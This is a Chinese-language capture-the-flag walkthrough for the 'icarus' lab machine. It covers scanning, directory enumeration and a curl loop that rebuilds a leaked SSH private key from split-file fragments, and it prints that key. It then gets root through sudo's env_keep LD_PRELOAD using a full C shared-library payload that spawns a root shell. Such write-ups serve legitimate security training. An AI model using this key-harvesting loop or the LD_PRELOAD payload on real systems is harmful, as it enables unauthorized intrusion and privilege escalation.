主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# arp-scan -I eth1 -l

192.168.56.146  08:00:27:d5:6a:34       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.146`

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# nmap -p- 192.168.56.146

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

80端口探测

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146
<!doctype html>
<html lang="en">
<title>LOGIN</title>

    <form class="form-signin" action="check.php" method="post">

      <input type="text" autocomplete="off" id="user" name="user" name="user"
placeholder="Username" required autofocus>
      <input type="password" name="password" id="password"
placeholder="Password" required>
      <input type="submit" value="Sign in">
    </form>
  </body>
</html>
```

一个表单登录

目录枚举

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# dirsearch -u http://192.168.56.146

[00:51:36] Starting:
[00:51:41] 200 -    9KB - /a
[00:51:51] 200 -   21B  - /check.php
[00:52:02] 302 -    0B  - /login.php  ->  index.php
[00:52:23] 200 -    1B  - /xml

Task Completed
```

收集泄露信息

访问

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146/a

a
xaa
xab
(....)
xzbta
xzbtb
xzbtc

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146/check.php
Man, you make me cry.


┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146/xml
K
```

前缀x开头，后面接按顺序接aa，ab.....zbtc的是什么

> 你描述的前缀 x 开头，后续按 aa、ab..... 顺序排列的命名形式，最符合 Linux 系统中**split 命令分割文件后生成的拆分文件命名规则**，不过末尾并不会带有 btc，你大概率是混淆了相关特征，以下是详细说明：

随便测试几个，发现有返回结果

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146/xaa
-


┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146/xab
-



┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146/xzabc
O
```

获取id_rsa

```
#获取数据，清洗第一行的a，获取id_rsa
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# curl 192.168.56.146/a > dir.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  9641  100  9641    0     0  1752k      0 --:--:-- --:--:-- --:--:-- 1883k

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# cat dir.txt| wc -l
1825

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# tail -1823 dir.txt > dir2.txt

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# for i in $(cat dir2.txt);do curl 192.168.56.146/$i >> id; done
```

查看id文件

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# cat id
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA5xagxLiN5ObhPjNcs2I2ckcYrErKaunOwm40kTBnJ6vrbdRYHteS
afNWC6xFFzwO77+Kze229eK4ddZcwmUOIdNO2Y8nYrxhl8lOc+e5TOAjz+tRmLGoxJVPsS
TzKBERlWpKuJoGO/CEFLOv6PP6s79YYzZFpdUjaczY96jgICftzNZS+VkBXuLjKr79h4Tw
z7BK4V6FEQYOhwT8NFfNrF3x3VPeOUstdiUJFl4QV/qAPlHVhPdOYUEPr/95mryjuGi1xw
P7xVFrYyjLfPepqYHiS5LZxFewLWhhSjBOIOdzf/TwiNRnVGTZhB3GemgEIQRAam26jkZZ
3BxkrUVckQAAA8jfk7Jp35OyaQAAAAdzc2gtcnNhAAABAQDnFqDEuI3k5uE+M1yzYjZyRx
isSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQhO3TZjydi
vGGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6/o8/qzv1hjNkWl1SNpzN
j3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPwOV82sXfHdU97RSy12JQkWXhBX
+oA+UdWE93RhQQ+v/3mavKO4aLXHA/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N/9P
CI1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyRAAAAAwEAAQAAAQEAvdjwMU1xfTlUmPY3
VUP9ePsBwSIck6ML8t35H8KFLKln3C4USxpNNe/so+BeTo1PtBVHYpDFu9IMOvrl7+qW3q
dLGyUpdUtQXhPK+RvJONt3OGwB+BEUlpQYCW9SuHr1WCwfwPMA5iNdT2ijvxOZvKwZYECJ
```

```
DYlB87yQDz7VCnRTiQGP2Mqiiwb7vPd/t386Y+cAz1cVl7BnHzWWJTUTkKCwijnvjYrDOo
tTQX4sGd6CrI44g+L8hnYuCZz+aOj6IyUfXJqj6l+/Z2Af7pJjbJD3P28xX7eYOh1Cec2l
/sb7qg2wyOqJNywJ35l8bZzZKjkXztPLOqMFQ6FhOBqSdQAAAIEAlaHOZEzJsZoR3QqcKl
xRKjVcuQCwcrKlNbJu2qRuUG812CLb9jJxJxacJPBVONS832c+hZ3BiLtA5FwCiGlGq5m5
HS3odf3lLXDfIK+pur4OWKBNLDxKbqi4s4MO5vR4gHkmotiH9eWlCNuqL46Ip5H1vFXeJM
pLRLNOgqOGuQQAAACBAPfffuhidAgUZH/yTvATKC5lcGrE7bkpOq+6XMMgxEQlOHzry76i
rGXkhTY4QUtthYo4+g7jiDzKlbeaS7aN8RYq38GzQnZZQcSdvL1yB/N554gQvzJLvmKQbm
gLhMRcdDmifUelJYXib2Mjg/BLaRXaEzOomUKR2nyJH7VgU+xzAAAAgQDuqkBp44indqhx
wrzbfeLnzQqpZ/rMZXGcvJUttECRbLRfohUftFE5JOPKuT8w0dpacNCVgkT9AOTc3xRfky
ECBQjeKLvdhcufJhQlOpdXDt1cpebE50LE4yHc8vR6FEjhR4P2AbGICJyRS7AX7UnrOWdU
IE3FeNPOr5UiSDq16wAAAA1pY2FydXNAaWNhcnVzAQIDBA==
-----END OPENSSH PRIVATE KEY-----
```

获取用户名

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# chmod 600 id

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# ssh-keygen -y -f id
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDnFqDEuI3k5uE+M1yzYjZyRxisSspq6c7CbjSRMGcnq+tt1Fge
15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQhO3TZjydivGGXyU5z57lPQCPP61GYsajElU+xJPMoERGV
akq4mgY78IQUs6/o8/qzv1hjNkWl1SNpzNj3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0
V82sXfHdU97RSy12JQkWXhBX+oA+UdWE93RhQQ+v/3mavKO4aLXHA/vFUWtjKMt896mpgeJLktnEV7At
aGFKME4jR3N/9PCI1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyR icarus@icarus
```

登录icarus

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/icarus]
└─# ssh icarus@192.168.56.146 -i id

icarus@icarus:~$ id
uid=1000(icarus) gid=1000(icarus)
groups=1000(icarus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
,109(netdev)
```

成功获得icarus用户权限

user.txt

```
icarus@icarus:~$ cat user.txt
Dontgotothesun
```

提权

```
icarus@icarus:~$ sudo -l
Matching Defaults entries for icarus on icarus:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User icarus may run the following commands on icarus:
    (ALL : ALL) NOPASSWD: /usr/bin/id
```

其中有"**env_keep+=LD_PRELOAD**"

```
┌──(root㉿xhh)-[~/Desktop/some/setenv]
└─# cat pe.c
#include<stdio.h>
#include<sys/types.h>
#include<stdlib.h>
#include<unistd.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setgid(0);
        setuid(0);
        system("/bin/bash");
}
```

编译好pe.so文件

```
icarus@icarus:~$ ls
flag.sh  pe.so  user.txt
icarus@icarus:~$ sudo LD_PRELOAD=./pe.so id
root@icarus:/home/icarus# id
uid=0(root) gid=0(root) groups=0(root)
```

成功获得root用户权限

> 其中，sudo的版本为“Sudo version 1.8.27”，靶机版本sudo过低，存在CVE-2021-3156

root.txt

```
root@icarus:~# cat root.txt
RIPicarus
```